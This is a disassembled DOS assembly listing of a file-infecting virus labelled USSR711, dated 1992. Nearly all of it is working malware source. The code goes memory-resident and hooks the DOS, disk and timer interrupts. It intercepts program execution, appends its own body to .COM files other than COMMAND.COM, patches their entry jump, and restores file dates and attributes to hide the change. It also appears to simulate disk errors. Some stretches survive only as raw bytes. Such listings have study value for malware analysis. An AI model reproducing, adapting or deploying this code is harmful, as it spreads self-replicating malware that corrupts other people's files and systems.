PAGE 59,132 ;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл ;лл лл ;лл USSR711 лл ;лл лл ;лл Created: 9-Feb-92 лл ;лл Passes: 5 Analysis Options on: AW лл ;лл лл ;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл data_1e equ 20h data_2e equ 22h data_3e equ 4Ch data_4e equ 4Eh data_5e equ 84h data_6e equ 86h data_7e equ 0D9h data_8e equ 0DBh data_9e equ 122h data_10e equ 124h data_11e equ 13Ah data_12e equ 13Ch data_13e equ 441h data_14e equ 3 data_15e equ 12h data_16e equ 0 data_17e equ 0B0h data_18e equ 0B2h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h ussr711 proc far start: jmp loc_1 int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx call sub_1 ussr711 endp ;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп ; SUBROUTINE ;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм sub_1 proc near pop bx xor di,di ; Zero register mov si,bx sub si,3 mov ax,4B04h int 21h ; ??INT Non-standard interrupt cmp ax,44Bh loc_1: call sub_2 ;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп sub_2: pop bx xor di,di ; Zero register mov si,bx sub si,3 mov ax,4B04h int 21h ; ??INT Non-standard interrupt cmp ax,44Bh je $+7Dh ; Jump if equal mov ax,es dec ax mov es,ax mov ax,es:data_14e sub ax,2Ch mov es:data_14e,ax sub word ptr es:data_15e,2Ch nop mov es,es:data_15e mov cx,2BBh rep movsb ; Rep when cx >0 Mov [si] to es:[di] cli ; Disable interrupts xor ax,ax ; Zero register mov ds,ax mov cx,ds:data_5e mov es:data_11e,cx mov cx,ds:data_6e mov es:data_12e,cx mov word ptr ds:data_5e,126h mov ds:data_6e,es mov cx,ds:data_1e mov es:data_7e,cx mov cx,ds:data_2e mov es:data_8e,cx mov word ptr ds:data_1e,0B4h mov ds:data_2e,es mov cx,ds:data_3e mov es:data_9e,cx mov cx,ds:data_4e mov es:data_10e,cx mov word ptr ds:data_3e,0DDh mov ds:data_4e,es sti ; Enable interrupts mov di,100h mov si,bx add si,2B3h mov cx,3 rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ax,cs mov es,ax mov ds,ax xor ax,ax ; Zero register mov si,ax mov di,0 mov bx,offset start jmp bx ; Register jump add bl,[si] db 67h, 6Fh, 50h, 2Eh,0A1h,0B2h db 00h, 40h, 2Eh,0A3h,0B2h, 00h db 2Eh,0A1h,0B0h, 00h, 3Dh, 00h db 00h, 75h, 10h, 2Eh, 81h, 3Eh db 0B2h, 00h, 74h, 37h, 75h, 07h db 0B8h, 02h, 1Ch, 2Eh,0A3h,0B0h db 00h db 58h,0EAh, 0Ah, 01h, 49h,0D7h db 2Eh, 83h, 3Eh,0B0h, 00h, 00h db 74h, 3Ch, 80h,0FCh, 03h, 74h db 05h, 80h,0FCh, 0Bh db 75h, 32h loc_3: test dl,80h js loc_4 ; Jump if sign=1 push ax mov ax,cs:data_18e and ax,3 pop ax jnz loc_4 ; Jump if not zero push bp add [bp+si+7Dh],dh push ax mov ax,cs mov ds,ax mov ax,[bp+6] push ax popf ; Pop flags stc ; Set carry flag pushf ; Push flags pop ax mov [bp+6],ax xor ax,ax ; Zero register mov ds,ax pop ax mov ah,80h mov ds:data_13e,ah pop ds pop bp iret ; Interrupt return loc_4: ;* jmp far ptr loc_20 sub_1 endp db 0EAh, 49h, 01h, 08h,0D7h cmp ax,4B04h jne loc_5 ; Jump if not equal mov ax,44Bh iret ; Interrupt return loc_5: cmp ax,4B00h je loc_7 ; Jump if equal cmp ax,4B03h je loc_7 ; Jump if equal loc_6: ;* jmp far ptr loc_19 db 0EAh,0B5h, 02h, 46h,0D5h loc_7: push ax push bx push cx push dx push ds push es push si push di mov ax,ds mov es,ax cld ; Clear direction mov al,0 mov di,dx mov cx,0C8h repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al jnz loc_8 ; Jump if not zero std ; Set direction flag mov al,2Eh ; '.' mov cx,0Ah repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al loc_8: jnz loc_11 ; Jump if not zero inc di inc di mov al,[di] and al,0DFh cmp al,43h ; 'C' jne loc_11 ; Jump if not equal mov al,[di+1] and al,0DFh cmp al,4Fh ; 'O' jne loc_11 ; Jump if not equal mov al,[di+2] and al,0DFh cmp al,4Dh ; 'M' jne loc_11 ; Jump if not equal mov al,[di-2] and al,0DFh cmp al,44h ; 'D' jne loc_9 ; Jump if not equal mov al,[di-8] and al,0DFh cmp al,43h ; 'C' je loc_11 ; Jump if equal loc_9: mov ax,4300h int 21h ; DOS Services ah=function 43h ; get attrb cx, filename @ds:dx mov word ptr cs:[2B4h],cx mov cx,20h mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx jc loc_11 ; Jump if carry Set mov word ptr cs:[2B0h],ds mov word ptr cs:[2B2h],dx mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jc loc_11 ; Jump if carry Set mov bx,ax mov ax,5700h int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time mov word ptr cs:[2ACh],cx mov word ptr cs:[2AEh],dx jmp short loc_12 nop loc_10: jmp loc_6 loc_11: jmp loc_16 loc_12: mov cx,3 mov ax,cs mov ds,ax mov es,ax mov dx,2B6h mov ax,3F00h int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov cx,0 mov dx,word ptr cs:[2B7h] add dx,3 mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,0Ah mov dx,29Bh mov ax,3F00h int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer cld ; Clear direction mov cx,0Ah mov si,29Bh mov di,data_16e repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jz loc_15 ; Jump if zero mov ax,4202h xor cx,cx ; Zero register mov dx,cx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset cmp ax,6A4h jb loc_15 ; Jump if below jmp short loc_14 nop loc_13: jmp short loc_10 loc_14: mov cx,cs:data_18e and cx,0Fh add cx,5 mov ax,cs mov ds,ax xor dx,dx ; Zero register mov ax,4000h int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jc loc_15 ; Jump if carry Set mov ax,4202h xor cx,cx ; Zero register mov dx,cx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset sub ax,3 mov word ptr cs:[2AAh],ax xor dx,dx ; Zero register mov ax,4000h mov cx,2BBh int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jc loc_15 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register mov dx,cx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ax,cs mov ds,ax mov dx,2A9h mov ax,4000h mov cx,3 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_15: mov ax,5701h mov cx,word ptr cs:[2ACh] mov dx,word ptr cs:[2AEh] int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov ax,3E00h int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle mov ds,word ptr cs:[2B0h] mov dx,word ptr cs:[2B2h] mov cx,word ptr cs:[2B4h] mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx loc_16: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax jmp short loc_13 nop add [bx+si],al push ax mov ah,30h ; '0' int 21h ; DOS Services ah=function 30h ; get DOS version number ax cmp ax,1E03h ;* je loc_17 ; Jump if equal db 74h, 09h stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] ;* jmp loc_18 db 0E9h, 15h, 00h test ax,3AA5h push ss db 0FEh,0B2h,0B9h, 41h, 20h, 00h db 0B8h, 00h, 4Ch, 02h, 00h seg_a ends end start